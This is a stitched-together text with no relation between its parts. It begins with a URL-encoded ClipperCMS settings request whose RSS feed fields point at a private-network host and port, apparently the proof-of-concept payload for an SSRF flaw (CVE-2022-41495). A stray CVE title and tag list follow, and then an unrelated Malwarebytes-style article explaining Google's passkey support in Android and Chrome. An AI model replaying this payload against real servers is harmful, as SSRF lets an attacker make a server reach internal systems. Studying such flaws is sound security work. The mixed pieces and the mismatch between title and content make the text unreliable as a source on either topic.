    site_id=6310b3eb4111b&settings_version=1.3.3&site_name=My+Clipper+Site&valid_hostnames=&modx_charset=UTF-8&xhtml_urls=1&site_start=1&error_page=1&unauthorized_page=1&site_status=1&site_unavailable_page=&reload_site_unavailable=&site_unavailable_message=The+site+is+currently+unavailable&siteunavailable_message_default=The+site+is+currently+unavailable.&track_visitors=0&auto_template_logic=parent&template_rules_tv=&default_template=3&old_template=3&publish_default=0&cache_default=1&search_default=1&auto_menuindex=1&txt_custom_contenttype=&custom_contenttype=application%2Frss%2Bxml%2Capplication%2Fpdf%2Capplication%2Fvnd.ms-word%2Capplication%2Fvnd.ms-excel%2Ctext%2Fhtml%2Ctext%2Fcss%2Ctext%2Fxml%2Ctext%2Fjavascript%2Ctext%2Fplain&server_offset_time=0&server_protocol=http&rss_len=10&error_handling_deprecated=1&error_handling_silent=0&jquery_url=assets%2Fjs%2Fjquery.min.js&jquery_plugin_dir=assets%2Fjs%2F&jquery_noconflict=1&friendly_urls=0&friendly_url_prefix=&friendly_url_suffix=.html&friendly_alias_urls=1&use_alias_path=0&allow_duplicate_alias=0&automatic_alias=1&use_udperms=1&udperms_allowroot=0&failed_login_attempts=3&webuser_hash_method=1&blocked_minutes=60&reload_captcha_words=&captcha_words=Clipper%2CAccess%2CBetter%2CBitCode%2CCache%2CDesc%2CDesign%2CExcell%2CEnjoy%2CURLs%2CTechView%2CGerald%2CGriff%2CHumphrey%2CHoliday%2CIntel%2CIntegration%2CJoystick%2CJoin%28%29%2CTattoo%2CGenetic%2CLight%2CLikeness%2CMarit%2CMaaike%2CNiche%2CNetherlands%2COrdinance%2COscillo%2CParser%2CPhusion%2CQuery%2CQuestion%2CRegalia%2CRighteous%2CSnippet%2CSentinel%2CTemplate%2CThespian%2CUnity%2CEnterprise%2CVerily%2CVeri%2CWebsite%2CWideWeb%2CYap%2CYellow%2CZebra%2CZygote&captcha_words_default=ClipperCMS%2CAccess%2CBetter%2CBitCode%2CChunk%2CCache%2CDesc%2CDesign%2CExcell%2CEnjoy%2CURLs%2CTechView%2CGerald%2CGriff%2CHumphrey%2CHoliday%2CIntel%2CIntegration%2CJoystick%2CJoin%28%29%2COscope%2CGenetic%2CLight%2CLikeness%2CMarit%2CMaaike%2CNiche%2CNetherlands%2COrdinance%2COscillo%2CParser%2CPhusion%2CQuery%2CQuestion%2CRegalia%2CRighteous%2CSnippet%2CSentinel%2CTemplate%2CThespian%2CUnity%2CEnterprise%2CVerily%2CTattoo%2CVeri%2CWebsite%2CWideWeb%2CYap%2CYellow%2CZebra%2CZygote&emailsender=1%401.com&smtp=0&smtp_host=&smtp_port=&smtp_prefix=ssl&smtp_user=&smtp_pass=&reload_emailsubject=&emailsubject=Your+login+details&emailsubject_default=Your+login+details&reload_signupemail_message=&signupemail_message=Hello+%5B%2Buid%2B%5D+%0D%0A%0D%0AHere+are+your+login+details+for+%5B%2Bsname%2B%5D+Content+Manager%3A%0D%0A%0D%0AUsername%3A+%5B%2Buid%2B%5D%0D%0APassword%3A+%5B%2Bpwd%2B%5D%0D%0A%0D%0AOnce+you+log+into+the+Content+Manager+%28%5B%2Bsurl%2B%5D%29%2C+you+can+change+your+password.%0D%0A%0D%0ARegards%2C%0D%0ASite+Administrator&system_email_signup_default=Hello+%5B%2Buid%2B%5D+%0D%0A%0D%0AHere+are+your+login+details+for+%5B%2Bsname%2B%5D+Content+Manager%3A%0D%0A%0D%0AUsername%3A+%5B%2Buid%2B%5D%0D%0APassword%3A+%5B%2Bpwd%2B%5D%0D%0A%0D%0AOnce+you+log+into+the+Content+Manager+%28%5B%2Bsurl%2B%5D%29%2C+you+can+change+your+password.%0D%0A%0D%0ARegards%2C%0D%0ASite+Administrator&reload_websignupemail_message=&websignupemail_message=Hello+%5B%2Buid%2B%5D%0D%0A%0D%0AHere+are+your+login+details+for+%5B%2Bsname%2B%5D%3A%0D%0A%0D%0AUsername%3A+%5B%2Buid%2B%5D%0D%0APassword%3A+%5B%2Bpwd%2B%5D%0D%0A%0D%0AOnce+you+log+into+%5B%2Bsname%2B%5D+%28%5B%2Bsurl%2B%5D%29%2C+you+can+change+your+password.%0D%0A%0D%0ARegards%2C%0D%0ASite+Administrator&system_email_websignup_default=Hello+%5B%2Buid%2B%5D%0D%0A%0D%0AHere+are+your+login+details+for+%5B%2Bsname%2B%5D%3A%0D%0A%0D%0AUsername%3A+%5B%2Buid%2B%5D%0D%0APassword%3A+%5B%2Bpwd%2B%5D%0D%0A%0D%0AOnce+you+log+into+%5B%2Bsname%2B%5D+%28%5B%2Bsurl%2B%5D%29%2C+you+can+change+your+password.%0D%0A%0D%0ARegards%2C%0D%0ASite+Administrator&reload_system_email_webreminder_message=&webpwdreminder_message=Hello+%5B%2Buid%2B%5D%0D%0A%0D%0ATo+activate+your+new+password+click+the+following+link%3A%0D%0A%0D%0A%5B%2Bsurl%2B%5D%0D%0A%0D%0AIf+successful+you+can+use+the+following+password+to+login%3A%0D%0A%0D%0APassword%3A%5B%2Bpwd%2B%5D%0D%0A%0D%0AIf+you+did+not+request+this+email+then+please+ignore+it.%0D%0A%0D%0ARegards%2C%0D%0ASite+Administrator&system_email_webreminder_default=Hello+%5B%2Buid%2B%5D%0D%0A%0D%0ATo+activate+your+new+password+click+the+following+link%3A%0D%0A%0D%0A%5B%2Bsurl%2B%5D%0D%0A%0D%0AIf+successful+you+can+use+the+following+password+to+login%3A%0D%0A%0D%0APassword%3A%5B%2Bpwd%2B%5D%0D%0A%0D%0AIf+you+did+not+request+this+email+then+please+ignore+it.%0D%0A%0D%0ARegards%2C%0D%0ASite+Administrator&manager_language=english&manager_theme=ClipperModern&warning_visibility=1&docid_visibility=1&tree_page_click=27&remember_last_tab=1&tree_show_protected=0&rss_url_news=http%3A%2F%2F192.168.156.136%3A88%2F123&rss_url_security=http%3A%2F%2F192.168.156.136%3A88%2F123123123&datepicker_year_range=-10&date_format=dd-mm-yy&time_format=HH%3Amm%3Ass&number_of_logs=100&number_of_results=20&validate_referer=1&strip_image_paths=1&use_browser=1&rb_webuser=0&rb_base_dir=A%3A%2Frecent%2Fwez_paper%2Fcms%2FClipperCMS-clipper_1.3.3%2FClipperCMS-clipper_1.3.3%2Fassets%2F&rb_base_url=assets%2F&file_browser=kcfinder&upload_images=bmp%2Cico%2Cgif%2Cjpeg%2Cjpg%2Cpng%2Cpsd%2Ctif%2Ctiff&upload_media=au%2Cavi%2Cmp3%2Cmp4%2Cmpeg%2Cmpg%2Cwav%2Cwmv&upload_flash=fla%2Cflv%2Cswf&clean_uploaded_filename=0&use_editor=1&which_editor=TinyMCE&fe_editor_lang=english&editor_css_path=&tinymce_editor_theme=editor&tinymce_custom_plugins=style%2Cadvimage%2Cadvlink%2Csearchreplace%2Cprint%2Ccontextmenu%2Cpaste%2Cfullscreen%2Cnonbreaking%2Cxhtmlxtras%2Cvisualchars%2Cmedia&tinymce_custom_buttons1=undo%2Credo%2Cselectall%2Cseparator%2Cpastetext%2Cpasteword%2Cseparator%2Csearch%2Creplace%2Cseparator%2Cnonbreaking%2Chr%2Ccharmap%2Cseparator%2Cimage%2Clink%2Cunlink%2Canchor%2Cmedia%2Cseparator%2Ccleanup%2Cremoveformat%2Cseparator%2Cfullscreen%2Cprint%2Ccode%2Chelp&tinymce_custom_buttons2=bold%2Citalic%2Cunderline%2Cstrikethrough%2Csub%2Csup%2Cseparator%2Cbullist%2Cnumlist%2Coutdent%2Cindent%2Cseparator%2Cjustifyleft%2Cjustifycenter%2Cjustifyright%2Cjustifyfull%2Cseparator%2Cstyleselect%2Cformatselect%2Cseparator%2Cstyleprops&tinymce_custom_buttons3=&tinymce_custom_buttons4=&tinymce_css_selectors=&filemanager_path=A%3A%2Frecent%2Fwez_paper%2Fcms%2FClipperCMS-clipper_1.3.3%2FClipperCMS-clipper_1.3.3%2F&upload_files=aac%2Cau%2Cavi%2Ccss%2Ccache%2Cdoc%2Cdocx%2Cgz%2Cgzip%2Chtaccess%2Chtm%2Chtml%2Cjs%2Cmp3%2Cmp4%2Cmpeg%2Cmpg%2Cods%2Codp%2Codt%2Cpdf%2Cppt%2Cpptx%2Crar%2Ctar%2Ctgz%2Ctxt%2Cwav%2Cwmv%2Cxls%2Cxlsx%2Cxml%2Cz%2Czip&upload_maxsize=1048576&new_file_permissions=0644&new_folder_permissions=0755

CVE-2022-41495: insight/ClipperCMS SSRF2.md at master · jayus0821/insight

Categories: News
Tags: Google

Tags:  passkeys

Tags:  Android

Tags:  Chrome

Tags:  public key

Tags:  private key

Tags:  authenticator

Tags:  WebAuthn

Passwords won't disappear any time soon, but a viable alternative is taking shape



(Read more...)




The post Android and Chrome start showing passwords the door appeared first on Malwarebytes Labs.

Google has announced that it's bringing passkey support to both Android and Chrome. On May 5, 2022, it said it would implement passwordless support in Android and Chrome and the latest annoncement about passkeys is an important step in that journey.

**Passkeys**

Passkeys are a replacement for passwords. They are faster to sign in with, easier to use, and much more secure. Sounds good, right? So, why isn’t everybody using them already? Maybe because we do a bad job at explaining how easy they are.

Although they share four letters, passkeys are nothing like passwords. They use public-key cryptography, which requires a set of two cryptographic "keys". One is public and one is private.

The public key is generated by the user and stored by whatever service the user is logging in to. When a user wants to log in, the service sends the user some data to "sign", the user encryptes it with their private key and sends it back. The service then decrypts it with the public key. If the decryption works that's proof that the owner of the private key signed the data and is therefore owner of the public key.

A user does not have to remember the public key or, heaven forbid, type it out in some form. That would only make matters worse. The public key also does not need to be kept a secret. Which means you don’t have to worry about data breaches, post-its, machine-in-the-middle attacks, or any other way it could be discovered or fall into the wrong hands, because the wrong hands are welcome to it: It is useless to them.

As long as your private key is safe, you are secure. And the private key stays on a device you own, such as a phone or hardware key, is never shared with anybody or any thing, and never leaves your possession. It's job is to prove that the public key is really yours.

**Authenticators**

So, your private key is something you hold on to, but where do you keep it, what actually does the signing with it, and how is it secured? All of this happens on devices called "authenticators".

An authenticator is a device that knows how to create and share the public key, knows how to store private keys, and knows how to use them to sign things. Authenticators can be hardware keys, phones, laptops, or any other kind of computing device. Best of all, authenticators can be a separate device from the one you're logging in on. So you can log in to a website on your laptop and use a phone paired with your laptop as the authenticator.

Since passkeys are built on industry standards, this works across different platforms and browsers—including Windows, macOS, iOS, and ChromeOS. An Android user can sign in to a passkey-enabled website using Safari on a Mac, and a Windows user can do the same using a passkey stored on their iOS device.

Before an authenticator will share a public key or sign you into a site you have to authorise it to do so using a "gesture". What constitutes a gesture is deliberately vague: It could be a button press, it could be a succesful Windows Hello face recognition, entering a PIN, or pressing a finger on your phone's fingerprint sensor.

What's important to remember here is that the gesture does not get sent to the website, it just permits the authenticator to do its work. So, if your authenticator uses a fingerprint scanner there is no need to worry your fingerprints will get sent to the website, exposed in a breach and re-used on a crime scene. Whether it’s a fingerprint, a facial scan, or anything else, the website knows nothing about the gesture at all.

**Lost passkeys**

Now your greatest worry is probably—what happens if I lose my private key or the device it’s on? This is where Google's announcement comes in. (In my eagerness to explain, I almost forgot to tell you what it was exactly that Google announced.)

The announcement is:

*   Users can create and use passkeys on Android devices, which are securely synced through the Google Password Manager.
*   Developers can build passkey support on their sites for end-users using Chrome via the WebAuthn API, on Android and other supported platforms.

Passkey synchronization makes it very hard to lose your private key: Passkeys are recoverable even in the event that all associated devices are lost.

This is similar to Apple's ability to recover a keychain. To do so, a user must authenticate with their iCloud account and password and then respond to an SMS sent to their registered phone number. With the keychain in hand, passkeys can be recovered through iCloud keychain escrow.

**Shift of responsibility**

For years the responsibility for safe authentication has been put in the wrong hands: Users'. Since we all know that the strength of a chain is never greater than that of the weakest link, we’ve been trying to improve the strength of that link. Sometimes by educating users, or yelling at them, even lying to them, or anything else that we thought could invoke a more responsible use of passwords.

What we haven’t done, or at least not as loud, is wonder how threat actors got their hands on all these username-password combination they could use in credential stuffing attacks. The answer was breaches. Asking a visitor to come up with a unique and secure password and then having thousands or even millions of them stolen doesn’t make the user feel any better about password security, does it now?

If you will allow me another analogy: In the past we sent a canary down into the mines to warn the miners if the carbon monoxide level was too high. The gases would kill the canary before killing the miners, thus providing a warning to exit the tunnels immediately. To improve that method, we didn’t start breeding stronger canaries, we improved the methods of detecting toxic gasses.

**Password less future**

For years we’ve been asking when we can get rid of passwords for good? Not yet, but this is a step closer. Now that it is available, we just have to get everyone on board.

The good news is that every modern browser already knows how to handle their part, by supporting the WebAuthn standard, so all we need now is for websites and other online resources to support it, and for vendors to create compatible authenticators.

Last year Microsoft announced that as of September 15, 2021 you can completely remove the password from your Microsoft account and use the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email to sign in to Microsoft apps and services. Together with Google and Microsoft, Apple committed to expanded support for FIDO standard to accelerate availability of password less sign-ins.

Let us know in the comments whether you agree that a better understanding of how passkeys work will make the transition go faster.

Tag

#apple